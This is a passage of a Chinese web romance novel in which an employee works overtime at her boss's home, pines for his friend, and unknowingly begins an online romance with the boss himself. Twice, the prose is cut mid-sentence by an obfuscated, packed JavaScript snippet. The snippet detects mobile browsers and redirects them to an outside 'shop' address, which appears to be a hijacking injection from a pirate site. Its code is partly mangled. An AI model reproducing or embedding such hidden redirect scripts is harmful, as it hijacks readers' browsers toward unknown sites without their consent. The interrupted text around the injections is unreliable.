裴念和他对视两秒就败下阵来,干巴巴解释:“是之前在裴家的时候周芸告诉我的,你知道的,那个时候说要联姻,她让我记得这些……” 贺宗霆神色了然:“既然已经不在裴家,你现在只需要注意自己的喜好。”他说着从她手边拿走那盒西兰苔,侧身放回了冰箱:“不喜欢吃可以不用做。” 裴念睁大眼睛:“你怎么知道我不吃?” 贺宗霆阖上冰箱门:“昨天只有这道菜你没动。” 明知道他只是碰巧观察到她的喜好,裴念还是感到局促,抿着唇憋了几秒钟,给他比了一个大拇指:“不愧是贺总,观察力了得。” 贺宗霆:“……” / 吃完午饭,贺宗霆让她去书房的休息室午休,两点半再开始工作。 裴念上中学时午休总睡过头,迟到被老师罚站过几次之后,就养成了不再午休的习惯。 她躺到休息室宽大柔软的床上,盖着被子看了会儿小说之后,就起来去了书房。 时间还不到两点,贺宗霆没来,书房只有她一人,她打开文档,继续写自己的策划案。 由于还在休息时间,她戴上了耳机边听歌边写,没注意到书房门边的动静,一直到笔记本屏幕上倒映出人影她才猛地停下打字的动作。 她快速摘下耳机,仰头看向站在沙发后的贺宗霆:“贺宗,现在上班吗?” “不急。” 贺宗霆一手撑着沙发背,一手覆上她刚刚松开的鼠标,按住滚轮往下滑动了几下,垂眸看向她的屏幕。 他专注看她的策划案,并未意识到他做出了一个类似拥抱的动作。 裴念一动也不敢动,屏息盯着屏幕上滚动的字,却一个字也看不进去。 大概过了半分钟的光景,贺宗霆终于大概翻完,松开她的鼠标直起身:“爱情主题,挺新颖。” 裴念小心转动僵硬的脖颈,扭头看了他一眼又很快转回去:“这个主题会不会太小?” “小而美。”贺宗霆说:“可以先做做看。” 得到他的赞同,裴念瞬间心花怒放,忘了他们之间的距离,转身贴着沙发和他说话:“好,我努力做。” 贺宗霆猝不及防被她的发尾扫过喉结,喉间一痒,眸光深缓地看向她。 裴念被他看得心口微缩,想问他是不是策划案有什么问题,大门处忽地传来清晰的开门声。 她呼吸一顿:“是家政阿姨吗?” 贺宗霆凝眉:“不是。” 不等裴念再问,一道熟悉的声音昭示出了来人的身份。 “霆哥,人呢?”黄晟的声音由远及近,最终停在书房门边:“不是吧?中秋佳节还加——” 黄晟的话在看到书房内的场景后戛然而止,他视线从站在沙发边的贺宗霆滑到沙发上坐着的裴念身上,桃花眼促狭地弯了起来。 “呦,裴念也在?我是不是打扰到你们了?” 贺宗霆语气不善:“来之前不知道打电话?” “打电话你能让我来?”黄晟斜依着门框,一副看热闹的架势,啧声道:“没想到不近女色的贺总私下竟然玩金屋藏娇这套。” 裴念双颊唰地涨红,腾地从沙发上站起来,大声解释:“不是的,贺宗的助理休假,我是替他来帮贺宗整理资料的。” 她指着摆了一桌子的资料强调:“我们正在严肃地加班。” 黄晟被她激烈的反应吓一跳,笑嘻嘻走到她对面的沙发上坐下:“好妹妹,别激动,我就是开个玩笑。” 裴念因为他随口的暧昧称呼脸红得更加厉害,口干舌燥地拿起水杯喝了一大口。 黄晟手肘撑在膝盖,好整以暇地看着裴念绯红的脸颊,又想张口调侃。 一阵急促的铃声打断他放在裴念身上的注意力,是贺宗霆的手机在响。 总部高层打来的电话,贺宗霆却不急着接,反倒先吩咐裴念:“你先去客厅休息。” 裴念依依不舍偷看了一眼黄晟,拿着手机从书房离开。 贺宗霆又指了一下黄晟,示意他在沙发上老实待着,才接起电话去到阳台。 到了客厅之后,裴念聒噪的心跳声才稍稍停歇,她深吸一口气,记起自己此刻助理的身份,去到吧台给老板的朋友冲咖啡。 正耐心选咖啡豆,书房的门忽然开了,黄晟悄声走了出来,一直到岛台后方才停下脚步。 “能不能帮我也做一杯?” 裴念掀起眼眸看了他一眼:“就是给你做的。” 黄晟惊讶地笑道:“你们跃维的员工都这么善解人意?” 裴念手上动作不停,轻声道:“…可能吧。” 伴随着咖啡机低低的震动声中,黄晟有一搭没一搭地和她说话,他们接触不多,共同话题趋近于零,因此只能聊一些场面话。 可即便是这样,裴念仍紧张到呼吸变慢,连和他对视都不敢。 咖啡浓郁的香气自岛台飘散开来,黄晟嗅了嗅,朝她走近一步:“这豆子闻起来不错,什么牌子?” 橱柜内的豆子看起来质量皆上乘,裴念只是随手选的,并未记下牌子,听黄晟这么问,她从柜子里拿出咖啡罐放到他旁边。 “是这个。”裴念说:“不过我不懂上面的法文。” 黄晟学过一些,拿起咖啡罐读给她听。 他声线散漫,说起法语有种缱绻的意味。 裴念听得入神,目光微怔地看着他,耳边忽听贺宗霆微冷的嗓音叫她的名字,她猛地回过神,转头朝书房门口看去。 贺宗霆已经打完电话,沉暗瞳孔锁定在她身上,脸色不辩喜怒地叫她:“过来。” 19. 第 19 章 贺宗霆接完电话就发现黄昇不见了,书房门半阖着,空气中弥漫着醇香的咖啡味道。 以他多年喝咖啡的经验,这绝不是廉价的速溶咖啡能散发出来的。 他不动声色地推开房门,看到岛台边凑在一起的两个人。 黄昇拿着装咖啡豆的罐子倚靠在岛台边缘,看裴念细致地给磨好的咖啡匀速加水。 给老板冲速溶,给暗恋的男人做手冲。 她还真是公私分明。 贺宗霆默不作声等裴念做好咖啡,出声叫她过来。 裴念倏地抬头,看见他心虚地拢了拢头发,依言从岛台后走出来。 贺宗霆朝她给黄晟留的那杯咖啡扫了眼:“咖啡别忘了。” 裴念脚步一顿,碰了碰咖啡杯:“这个吗?” 贺宗霆明知故问:“不是给我的?” 裴念沉默两秒屈服于他的淫威:“…是给你的。” 贺宗霆:“拿来。” 裴念端起咖啡杯,表情复杂地从黄昇身边离开。 “?”黄昇眼看着到手的咖啡不翼而飞,直起肩背问她:“那我喝什么?” 贺宗霆代裴念回答:“想喝自己弄。” 黄晟:“……” 裴念走到书房门口,把咖啡交给贺宗霆,没来得及转头看一眼黄晟,就被他吩咐去书房内做事。 贺宗霆悠闲地站在书房门边,抿了一口咖啡,问黄晟:“你来干什么?” 黄晟一脸怨气地捣鼓咖啡机:“别提了,昨天晚上和蒙姗吃饭吵了一架,我爸刚得到消息把我赶出来了。” 贺宗霆还未表态,听见沙发边传来啪嗒一声脆响。 他侧目,裴念手忙脚乱捡掉在地板的鼠标,难掩兴奋地眼睛趁机朝门口偷瞄。 贺宗霆淡声问:“你激动什么?” 裴念手足无措地抓紧鼠标,讷讷道:“我…刚刚想到了一个好点子。” “那就继续想。” 贺宗霆说完抬脚走出书房,啪地一声阖上了门。 裴念看着关得严丝合缝的房门,踟蹰了几秒,到底是没胆量贴到门边偷听,幸而岛台离书房不远,她屏息凝神还是将他们的对话听了个大概。 原来蒙姗本就有男友,却被家人逼着和黄晟相亲,昨晚吃饭时她看到有偷拍的媒体,灵机一动找借口和黄晟吵了一架,媒体今早放出视频,现在闹得圈内人尽皆知,两家的联姻自然黄了。 贺宗霆听完事情始末,淡声评价:“可惜。” 裴念攥紧拳头无声锤了一下沙发。 “可惜什么啊,我跟她又没感情。”黄晟说:“黄了正好,不耽误谈恋爱。” 裴念精神一震,用力朝大门处抻直脖子,可惜黄晟话锋一转,说起了别的。 “霆哥,现在视频传得满天飞,借你们贺家的公关部门处理一下,不然我爸这个气是消不下去了……” “可以。” 贺宗霆应下后,和黄晟一起去了客厅的阳台。 裴念这下什么声音都听不到了,不过她也不觉得沮丧,起码她得知了黄晟相亲告吹这一重大好消息,要不是工作在身,她甚至想去放束烟花庆祝一下。 她和顾免报告了这一好消息之后,便沉下心投入到工作之中,大概过了一刻钟,贺宗霆回到书房办公,黄晟应该离开了,客厅没再传来他的声音。 休息时,裴念去客厅倒水,路过落地窗边的沙发,看到沙发上窝着的人影吓了一跳。 她定睛一看,原来是黄晟在戴着耳机打游戏。 黄晟余光看到她,把耳机撸到脖子上挂着:“忙完了?” “在休息,我来倒杯水。”裴念小心翼翼朝书房瞄了眼,贺宗霆正专注看着屏幕上的数据,她压低声音问黄晟:“你还要喝咖啡吗?我给你做。” 黄晟伸了个懒腰,冲她挑眉:“不了,再喝晚上睡不着。” 裴念不舍得结束话题,假装很感兴趣地看着屏幕:“你玩的什么游戏?” “塞尔达。”黄晟拿起另一个游戏手柄朝她递:“跟我玩一局?” 裴念下意识伸手去接,手抬到一半,忽然想起什么,朝书房内看了眼,手又倏尔收了回去:“不行,我还在工作。” 黄晟顺着她的目光朝书房内扫了眼,饶有兴致地倾身问她:“贺宗霆平常对你很凶?” 裴念被他漂亮的桃花眼近距离看着,无暇思考他的问题,磕磕巴巴地回:“是,是吧。” 黄晟看她满脸局促,以为是贺宗霆吓得,安慰道:“别怕,他那都是虚张声势。” “好的…”裴念余光看到贺宗霆起身去书柜拿文件,没敢继续在沙发边逗留,和黄晟说了句就快速离开。 虽然没能和黄晟一起玩游戏,但接下来的时间里,裴念一直找机会频繁出入客厅,不是去接水,就是去卫生间,其实只是为了多看黄晟一眼,运气好的话,碰到他中途休息,黄晟还会和她聊几句。 听黄晟介绍玩游戏中精妙的关卡,裴念一路飘飘然回到书房,进书房后,嘴角扬起的弧度克制地压下一些。 贺宗霆翻着资料头也没抬:“坐不住?” 裴念脚下一滞:“没有啊。” 贺宗霆掀起眼皮,目光审视:“那你往外跑什么?” 裴念抿了抿嘴唇,动了动脖颈说:“坐太久了腿麻,去伸展一下…” 贺宗霆:“书房不够伸展?” 裴念朝空间宽敞的书房大量一圈,小声说:“够的。” 贺宗霆目光深深看着她,勾了勾手叫她:“过来。” 以为有工作吩咐,裴念听话走到书桌后面。 贺宗霆转了转钢笔,放下,靠着椅背问她:“和他聊什么了?” 裴念目光一震,上学迟到被老师抓包时的紧张感潮水般向她袭来,她观察不出贺宗霆平淡面容下的情绪,思忖须臾,试探着说:“聊你。” 贺宗霆缓缓“哦”了一声:“聊我什么?” 裴念从善如流奉承:“聊你是个好老板,脾气稳定,宽宏大量。” 贺宗霆没被她的奉承取悦:“那你错了。” 裴念:“啊?” 贺宗霆从椅子内站起身,朝她逼近一步,垂眸看着她闪躲的眼睛一字一顿道:“我不仅脾气差,为人还睚眦必报。” 裴念大脑停止运转,被他讳莫如深的瞳孔盯得瑟缩了下。 贺宗霆坐回椅内,把一沓文件推到她手边:“再往外跑扣工资。” 裴念紧缩的神经放松,讷讷抱起资料:“我不敢了。” / 晚上,阿姨准时来做晚饭。 厨房传出饭菜香气时,裴念终于把贺宗霆下午交代给她的工作全部处理完。 时间还早,她快速收拾电脑,准备坐地铁回家吃饭。 贺宗霆却说:“一起吃饭。” 裴念本能拒绝:“不用了,我还不太饿。” 贺宗霆:“阿姨做了三个人的饭。” 三个人。 那就是说除了她黄晟也会留下吃晚饭。 收拾东西的动作停下,裴念从沙发上起身:“那就打扰了。” 阿姨把做好的饭菜放在流理台,贺宗霆和黄晟依次把菜端到餐厅,裴念没好意思闲着,帮着拿餐具。 落座后,裴念把三双筷子分开,看到坐她对面的贺宗霆似有若无看了她一眼。 她福至心灵,先给了他一双筷子,然后才给到黄晟。 贺宗霆虽然脸上看不出任何情绪,但和黄晟说话时明显语气好了很多。 裴念为自己掌握了老板的情绪密码而感到窃喜,过了会儿,又觉得这项技能好像没什么作用。 她兀自胡思乱想,听到黄晟问起贺宗霆他大学爱吃的那家餐厅叫什么名字。 “是不是叫湘轩阁?” 贺宗霆摇头:“忘了。” 裴念脑海忽然蹦出那时周芸给她整理的档案,没过脑子地接话:“是叫湘雅阁。” “对!就是这个名字,他们家的擂椒皮蛋真是一绝。”黄晟回味完意识到不对,挑起眉梢问她:“霆哥的事你记得这么清楚?” 再一次因为嘴快而被误会,上次是贺宗霆还好解释,这次是黄晟确是怎么都解释不清了。 裴念在黄晟促狭的目光中脸颊涨红,求助地看向贺宗霆。 贺宗霆老神在在道:“裴助理记性好。” 黄晟才不是容易被糊弄的主,意有所指地说:“真希望我也有这么好的记性。” 贺宗霆乜他一眼:“少说话就有了。” 黄晟:“……” 饭后黄晟接到母亲的电话,他和蒙姗吵架的视频统统下架,家里的警报解除,他这才被父亲允许回家。 他从茶几上捞起车钥匙,到书房门前同贺宗霆告辞后,自觉承担起帮他送助理的任务问裴念:“你走不走?我送你。” 裴念立刻快速收拾笔记本:“走!” 坐在办公桌后的贺宗霆却说:“你走不了。” 裴念:“?” 黄晟:“??” 贺宗霆掀眸朝呆愣着的裴念看了一眼:“过来把这个文件看了。” 裴念看看一脸无语的黄晟,咬咬牙想拒绝贺宗霆。 贺宗霆淡声强调:“二十倍。” 裴念只好放下包:“来了。” 自觉多余的黄晟没再滞留,摇着头离开了这件气氛严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396866|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肃的办公室。 裴念表情恹恹地做到贺宗霆旁边的椅子内,有气无力地问:“贺总,要看什么文件呢?” 贺宗霆没立刻给她看:“不想看?” “想看的。”裴念调整好状态,坐直看向屏幕。 贺宗霆打开文档:“这里是近五年有关爱情的汽车广告及反响,你分析一遍,应该能避免走入误区。” 裴念瞬时睁圆了眼睛:“你给我做的?为什么?” 贺宗霆眸光微敛:“你觉得为什么?” 裴念讷了一秒,激动道:“你看上我的方案了。” 贺宗霆看着她亮晶晶的双眼,嘴角微挑:“可以这么说,但你的方案改进空间还很大。” “明白,我现在就去分析改进。”裴念克制地笑了下:“我加你微信,你把文档发给我吧。” 贺宗霆难得顿了一秒:“加飞书。” “好的。”裴念知道他不想和自己有工作以外的消息,加上贺宗霆的飞书后,主动道:“你放心,我不会在工作之外打扰你的。” 贺宗霆眉梢轻吊,不冷不热地说了声“哦”。 / 分析完文件,时间还尚早。 可深秋的雨毫无预兆,来势汹汹,裴念刚收拾完东西,豆大的急雨噼里啪啦敲响落地窗。 贺宗霆揉了揉鼻梁,从椅内起身:“我送你。” 按照过往经历,裴念没有拒绝,礼貌道谢后,和他一道下电梯到地下车库。 轿车平稳地行驶在雨中的街道,裴念听着雨打在车顶的动静不禁开始犯困,等车停在红灯下时,她的她的上下眼皮甚至开始打架。 握在手中的手机嗡地响了一声,裴念瞬间惊醒,她搓搓眼睛,拿起手机一看,是常去的烘焙店发来的语音。 她忘记将音量调小,点开后,店员清润的声音充满整个车厢。 “裴小姐,下月十五号是您的生日,您是我们的VIP用户,我们给您准备了生日大礼包,到时候别忘了来取哦。” 裴念坐直身体,打字回了消息。 贺宗霆见她醒了,顺嘴问了声:“生日打算怎么过?” 裴念对过生日没什么执念,朋友有时间就约着吃个饭,没时间她就自己在家简单过一下,有时忘了也就忘了,她并不在意。 “我平常不怎么过生日。” 贺宗霆旧事重提:“你不是说过生日必须吃蛋糕?” 裴念摸摸耳朵:“我一般就自己在家吃个蛋糕就算过了。” 由于刚刚睡过的缘故,她咬字没那么清晰,话说得黏黏糊糊。 贺宗霆侧目:“你可以跟我提个要求。” 裴念反应了几秒,眼睛微微睁大,不解地看着他,像是处理不了复杂程序的旧式电脑,顿顿卡在空白界面。 贺宗霆看着她睡红的双颊,拇指缓慢地磨着方向盘,仿佛理所当然地对她说:“为补偿你加班到这么晚。” 电脑卡壳须臾又开始缓慢运行,裴念回过神来,攥着安全带朝车窗方向退了退。 “不用了贺总。”她很是客气地说:“加班费已经很多了。” 接下来的路程,车内安安静静,到小区楼下时,雨已经停得差不多了。 裴念同贺宗霆道谢后,打开车门快步跑向了电梯间。 正好有人下楼倒垃圾,裴念进入电梯,随手打开朋友圈刷了刷。 第一条就是她以前的女同学发的生日照,照片中女同学和男友脸颊亲密地贴在一起,共同吹蛋糕上的蜡烛。 裴念看着照片中的笑脸,恍然想起黄昇已然恢复单身身份。 正如贺宗霆所说,她确实该考虑考虑今后的生日该怎么过了。 她点开已经许久没聊的对话框,给H发去了一条微信。 贺宗霆还没把车开出小区,瞥见中控台上亮起屏幕的手机,随手把车停在了绿化带旁。 刚刚在他车内客道疏远的裴念化身甜蜜的nn,给他发来一条昭然若揭的信息。 【你有没有感觉自己一个人过生日很可怜?】 他回:【想让我陪?】 nn过了好一会儿才回:【如果你愿意并且遵守约定的话…】 贺宗霆:【怪我上次爽约?】 nn:【我可没这么说】 贺宗霆:【是我的错,想要什么补偿?】 nn:【你陪我过生日就行。】 贺宗霆:【可以】 消息才发出去,nn立刻发来一连串的爱心。 贺宗霆眼睛眯了下:【但我有个条件】 nn:【你说!我什么都答应你!】 贺宗霆轻笑一声:【我只陪女朋友过生日】 20. 第 20 章 他说只陪女朋友过生日,那不就是让她做女朋友的意思?! 裴念反应过来H的话,抱起大壮把脸埋在他的肚子里才压抑住大叫的冲动。 大壮察觉到她激动的情绪,纵容她吸了几秒钟,见她还紧锁着自己不放,还发出可怖的笑声,它忍无可忍,拿后脚使劲儿蹬了她几下才成功脱身。 裴念手臂被大壮抓红也毫无反应,拿起手机,颤抖着指尖回H的消息。 【你答应和我恋爱了?】 H纠正她:【是网恋】 裴念蕙质兰心:【你不想现在和我见面吗?】 H:【我做事习惯提前准备,先网恋一段时间,等见面了不至于没话说,你觉得如何?】 裴念何尝不想早点和他确定关系,但过去苦于不知道他的心意,没敢贸然出击,没想到他竟然也对她萌生了恋爱的想法。 裴念傻笑两声,回H:【太周到了[大拇指]】 觊觎了许久的珍宝就这么明晃晃从天上掉到手中,裴念胸口发酥,有种不真实的感觉。 她戳戳键盘,试探着发了一句:【男朋友?】 H秒回:【怎么?】 裴念想象着他说这句话时淡定的语气,心跳怦然加速。 她问:【这么晚了你在做什么?】 H过了一会儿才回:【开车】 裴念想到黄昇早就从贺宗霆家离开,应该早就到家了才对。 于是她问:【是有什么事吗?】 H回她:【嗯,小事】 紧接着又说:【你该睡了】 裴念看清手机上的时间,瞬间弯起了唇角,一个字一个字地打:【原来你记得啊?】 H:【记得什么?】 裴念:【我睡觉的时间啊,我之前都是这会儿跟你说晚安[害羞][害羞]】 H:【没必要因为这点小事开心】 裴念指尖顿住,心里有些低落。 H又发来了一条:【你说的任何事我都记得】 裴念呆呆望着屏幕上的这行小字,才稍微安稳下来的心跳骤然加速,扑通扑通击打她的胸腔。 窗外的风雨没有停歇的趋势,可她全都听不到了,天地之间只有心跳奏响的旋律,团团将她围绕。 鼓噪的精神平复片刻之后,裴念才回H的消息,又聊了一会儿,怕耽误他开车,裴念在键盘上打出晚安。 点击发送的前一秒,她又临时加了三个字,倏地发给了H。 【晚安男朋友】 H效仿她的格式:【晚安女朋友】 裴念终于忍不住,把脸埋在抱枕里,低低喊了一声。 喊完才发觉自己失控,面红耳赤的去浴室洗澡。 / 中秋最后一天在体检中度过,接下来又要照常上班。 员工小群里同事们怨声载道,“不想上班”的言论刷了好几页屏幕。 裴念也合群地跟着发了一句牢骚,但她其实对上班丝毫没有怨言。 人逢喜事精神爽,只要点开和H的对话框,看到他发的那句“女朋友”,裴念觉得自己连续上一个月的班都不在话下。 她的好心情无处排解,去公司的路上,干脆给小组成员每人点了一杯咖啡。 时间卡的正好,她到公司楼下时,外卖小哥也正巧到站,裴念接过咖啡,满面春风地进入死气沉沉的电梯。 她来得早,到工位坐了一会儿后,韩杨和张芮之姗姗来迟。 裴念笑着把咖啡给他们递了过去:“请你们喝咖啡。” 张芮之哇了一声接过:“谢谢,有什么好事吗?” “是有件好事……” 裴念刚想说自己恋爱了,抬眸瞥见韩杨拿过咖啡,摇晃着身体跌进工位,不由地担心道:“你没事吧?身体不舒服吗?” 她话音才刚落,韩杨忽地伸出双手捂住脸,呜地一声哭了出来。 裴念吓一跳,连忙给他递纸巾,“你先别哭,发生很严重的事情了吗?” 张芮之在她旁边坐下,嘬了一口咖啡才说:“别担心,他只是被女朋友甩了。” 裴念还没说话,韩杨唰一下松开双手,露出愤愤的双眼:“什么叫“就”?!你谈过恋爱吗?知道失恋的痛苦吗呜呜呜呜……” “……”张芮之自觉说错话,闭上嘴巴安慰地拍了拍他的肩。 韩杨被她一拍,眼泪又开始决堤。 就这么看着他哭也不是办法,裴念耐心地开导:“要不你跟我们说说为什么分手,我们给你想想对策。” “是啊。”张芮之:“有问题就解决问题嘛。” 韩杨拿纸巾擦了擦脸,又喝了几口咖啡,等情绪稳定一点后开始诉苦:“起因就是前天她和朋友去吃饭,我看下雨了就问她需不需要接,她说随便,我想着她朋友有车,就没去接她,结果她回家就开始和我冷战。” 张芮之了然:“她怪你没去接她。” 韩杨叹气:“对,她觉得我应该直接去接她,而不是问完又没去。” 裴念:“那她应该直接告诉你啊。” 韩杨:“我也是这么哄她的,哄着哄着不知道为什么就吵起来了。” 张芮之皱眉:“难道她就为这点小事跟你分手?不至于吧。” “也不光是她的问题。”韩杨羞愧地搓搓鼻子:“我当时情绪上头,就问她恋爱这两年一直是我在付出,她为我做过什么。” “她听完直接冷脸,收拾行李搬到朋友家住去了,我昨天给她打了一天的电话都不接,到晚上才发信息要和我分手。” 韩杨说完,又忍不住抹了把眼泪。 张芮之沉默两秒:“如果这段感情一直都是你在付出的话,感情不对等,你们这一架迟早得吵。” 裴念若有所思:“但吵架时翻旧账无异于火上浇油,再大的问题也得等到情绪稳定的时候聊。” 张芮之赞同:“现在才是最珍贵的,别老纠结已经过去的事。” 韩杨听进去了,沉吟几秒道:“你们说的对,既然知道我们之间的问题了,我得去解决,不能坐以待毙。” “这就对了嘛。”张芮之问:“不过我感觉你女朋友这样不是一天两天了,你最好搞清楚她是因为什么才开始不高兴的。” 韩杨凝眉:“我不太记得了,得等我想一想。” 裴念看他心态恢复,劝慰道:“别着急,慢慢想。” 韩杨喝了口咖啡,忽然想起她刚才说的话,问:“诶,你刚刚要说的好事是什么?” 裴念:“……” 同事刚刚还在为失恋肛肠寸断,她怎么好意思说自己恋爱的事。 她忽然想到贺宗霆,便说:“没什么,就是假期兼职赚了点钱。” 杨泽于打卡前一分钟进入办公室,他们的话题就此中止。 裴念把咖啡拿给杨泽之后,坐回工位止不住想韩杨和女友之间争吵的内容,她之前经常在网络媒体上刷到类似的话题,想来这是个普遍存在的问题。 她现在既然已经和H恋爱,应该提前预防这些问题才对。 裴念趁着摸鱼的空档,打开手机备忘录,依照脑海里总结的经验,编辑了一则恋爱宝典。 1.有话要直说 2.付出要对等 3.珍惜现在时 打完最后一个字,韩杨忽然拍响她和张芮之的椅子:“我想起来了!她是从上个月我不再叫她昵称之后开始不对劲儿的。” 张芮之扭过身不解的问:“那你干嘛不叫人昵称?” 韩杨别扭道:“我觉得老夫老妻了,还叫昵称太肉麻了。” “拜托!你们是在谈恋爱!”张芮之翻了个白眼:“当然得叫昵称啊。” 韩杨还没说话。 “这样啊。”裴念恍然转过头去,在宝典内加了一条—— 4.记得叫昵称 确定无误后,裴念把这则恋爱宝典给H发了过去。 / 叮。 落针可闻的会议室,一众高管精神一凛。 季度财报下跌,贺宗霆语气淡薄地将他们挨个骂了个遍。 听到这声消息提示,人人生怕是自己不争气的手机作祟,幸而他们互相对了下视线,发现声音来自贺宗霆的笔记本。 贺宗霆面无表情朝笔记本下方扫了眼,眉心皱了皱,打字:【什么东西?】 nn:【恋爱宝典啊,标题上有写,这是我根据网络上情侣最长吵架的原因总结出来的,我们提前预防,就不会因为这些事吵架了。】 她不放心一样,紧接着提醒他:【你一定要看喔】 贺宗霆移动光标,又朝裴念精心编写的恋爱宝典看了眼:【知道了,宝宝】 高理从办公室拿来资料,轻手轻脚走到贺宗霆身后,躬身递文件时,不小心瞥到笔记本屏幕,当即五雷轰顶。 宝宝?! 贺总这是在叫谁?! 裴念盯着屏幕上的那句“宝宝”,耳朵连着脸颊腾地红透,怕被人看出异样,她把脸埋在臂弯捂了好一会儿才敢露出来。 一上午她都处在晕晕乎乎的状态里,下午小组开会,她的策划案被杨泽表扬时才略微回过神,将注意力拉回工作上面。 可一出会议室,她又忍不住掏出手机给H发信息:【我刚刚被上司表扬了】 等她回到工位,看到H回她:【之前那个男上司?】 裴念想起之前做活动时和他说起过杨泽:【是啊】 H:【有这么高兴?】 裴念觉得他语气不对,琢磨一会儿,回他:【恋爱宝典第一条】 H:【?】 裴念:【有话要直说。】 H却像是真的不懂:【直说什么】 “……” 裴念鼓起脸颊,给他做了个表率:【你是不是介意我提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401141|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他异性啊?】 H终于敞开心扉:【介意】 裴念觉得脸颊又开始发热,拿冰咖啡贴到脸上降了降温,还没想好回他什么,H的消息又发了过来。 【我不喜欢你靠近除我以外任何男性】 裴念呼吸一滞,觉得说这话的H很霸道,很强势。 黄昇是这样的吗。 她无暇去想,闪动的心跳已经屏蔽她所有感官。 裴念轻呼一口气回道:【你这样…好凶。】 H:【不喜欢?】 她怎么会不喜欢? 霸道的,强势的,凶的,只要是属于他的,裴念都无法讨厌。 她愣了几秒,H追问:【说话】 裴念老老实实回答:【喜欢的。】 / 裴念第一次因为工作完不成而加班,让同样赶工的张芮之颇感稀奇。 “你今天不在状态啊?” 裴念敲键盘的速度慢了些:“…是有一点。” 张芮之看着她染着薄红的耳朵,凑过来问:“老实交代,你今天跟谁聊天呢?” 裴念心里一惊:“你看到了?” 张芮之撇嘴:“你都盯着手机一天了,吃饭都不撒手。” 裴念朝韩杨空了的工位看了眼,直说道:“我恋爱了,本想早上告诉你的,那不是看韩杨失恋没好意思说么。” 张芮之立刻来了兴致:“是你之前说喜欢的那个男人吗?” “对。” “长得帅吗?有没有照片?” H朋友圈没发过照片,况且他们现阶段还在网恋,裴念摇头:“没照片,之后你就能见到了。” 张芮之追问:“什么时候啊?” 裴念:“大概下个月月底。” 她甜甜蜜蜜地想,那时候她生日已过,和H必定见过面了,到时候H说不定会来接她下班。 工作不多,不到半小时裴念和张芮之的工作都已经完成,便一起下楼。 去电梯间的路上,她们又聊到了裴念的恋情,差点误了一趟正好的电梯。 裴念余光看到正在阖上的电梯门,拉着张芮之跑了过去。 她跑得太急太快,一只脚踏进电梯的时候歪了一下,险些扑到站在门边男人的怀中,幸而她反应快扶着墙壁站稳了脚跟。 但毕竟差点冲撞到别人,裴念抬头和人道歉,发现这人就是贺宗霆。 贺宗霆神色淡漠,倒是一旁的高理热情地和她搭话:“你们聊什么呢?老远就听到你俩的笑声。” 裴念往边上挪了挪,伸出手臂挡着门让张芮之进来:“没什么。” 张芮之听到了高理的话,顺嘴道:“聊念念的男朋友。” 高理诧然看向裴念:“你恋爱了?” 裴念只好点头。 高理脑海忽然蹦出那句“宝宝”,难道贺总在和裴念谈恋爱? 他默不作声的看了眼贺宗霆,发现他神色如常,便打消了这个荒唐的想法。 秋天天黑得早,不到晚上七点,夜色便沉沉压下来,骤雨悄无声息朝着地面砸。 张芮之朋友来接她吃饭,出了公司大门便和裴念分开。 裴念裹紧风衣外套,从包里拿出雨伞撑开往人行道走,肩膀忽然被人从后撞了一下。 身后的人连忙道歉,不等她回答便脚步急促地同她擦身而过。 裴念看到她的身影,脚步停顿一秒,又加快追了上去,拉住了女人的手臂:“这把伞给你。” 女人诧异地转过身来,露出隆起的小腹:“不用,地铁站不远。” 裴念不由分说把伞柄塞到她的手中:“确实不远,我跑着去很快。” 女人还在犹豫,裴念推了推她的手臂:“快走吧,再耽搁该感冒了。” 女人这才感激地道谢,撑着伞消失在了雨幕之中。 轿车葱地下停车场上来,途径公司大门,高理忽道:“那不是小裴吗?怎么把伞给别人了。” 贺宗霆在后座看笔记本上的文件,闻言朝公司方向看了眼:“过去接她。” “好的贺总。” 高理调转方向把车停在了台阶下,降下车窗后叫了声裴念的名字。 裴念转头看过来。 高理指了指后座:“上来吧,送你一趟。” 裴念朝后车厢内的人影扫了眼:“等我一分钟好吗?”说着开始莫名其妙拿起手机点了起来。 高理不明所以,扭头征求贺宗霆的意见,却见贺宗霆视线停留在电脑屏幕,似是对车外的裴念没有半点兴趣。 裴念拍了拍H,又紧接着给他发了一条信息:【下雨了[哭][哭]我可以坐别的男人的车吗】 高理忽听贺宗霆发出一声微不可查的轻哂,只见他指尖敲击屏幕的同时说道:“可以。” 与此同时,裴念的手机收到了一条新的消息,来自H。 【可以】 21. 第 21 章 上车之前,裴念仔细朝后车窗看了眼,贺宗霆果然在后座坐着,看着笔记本,一副很忙的样子。 怕打扰到老板办公,她果断拉开副驾驶的车门坐了进去。 贺宗霆果然很忙,听到她上车的动静,只撩了一下眼皮,就垂眸看向屏幕。 坐好后,裴念给H发去信息:【我坐上车啦】 消息发出去的同时,后车厢响起一声清脆的“叮”。 裴念一瞬间以为自己消息错发给了贺宗霆,下意识转头看向后座。 贺宗霆表情淡然地看着电脑打字,注意到她的动作,抬眸时扬了下眉毛,无声质问她做什么。 裴念讪讪转过身去,怪自己神经敏感,她根本连贺宗霆的微信都没有,怎么可能会错发给他。 过了一会儿H才回:【ok】 裴念存心逗他:【你现在又不在意了?】 H:【特殊情况例外】 裴念抿嘴偷笑,和他说下车再聊,车上有老板不方便。 退出微信,她发现刚刚她聊天时,车内没再响起消息提示音。 轿车匀速在街道行驶,车内只有贺宗霆偶尔敲击键盘的动静。 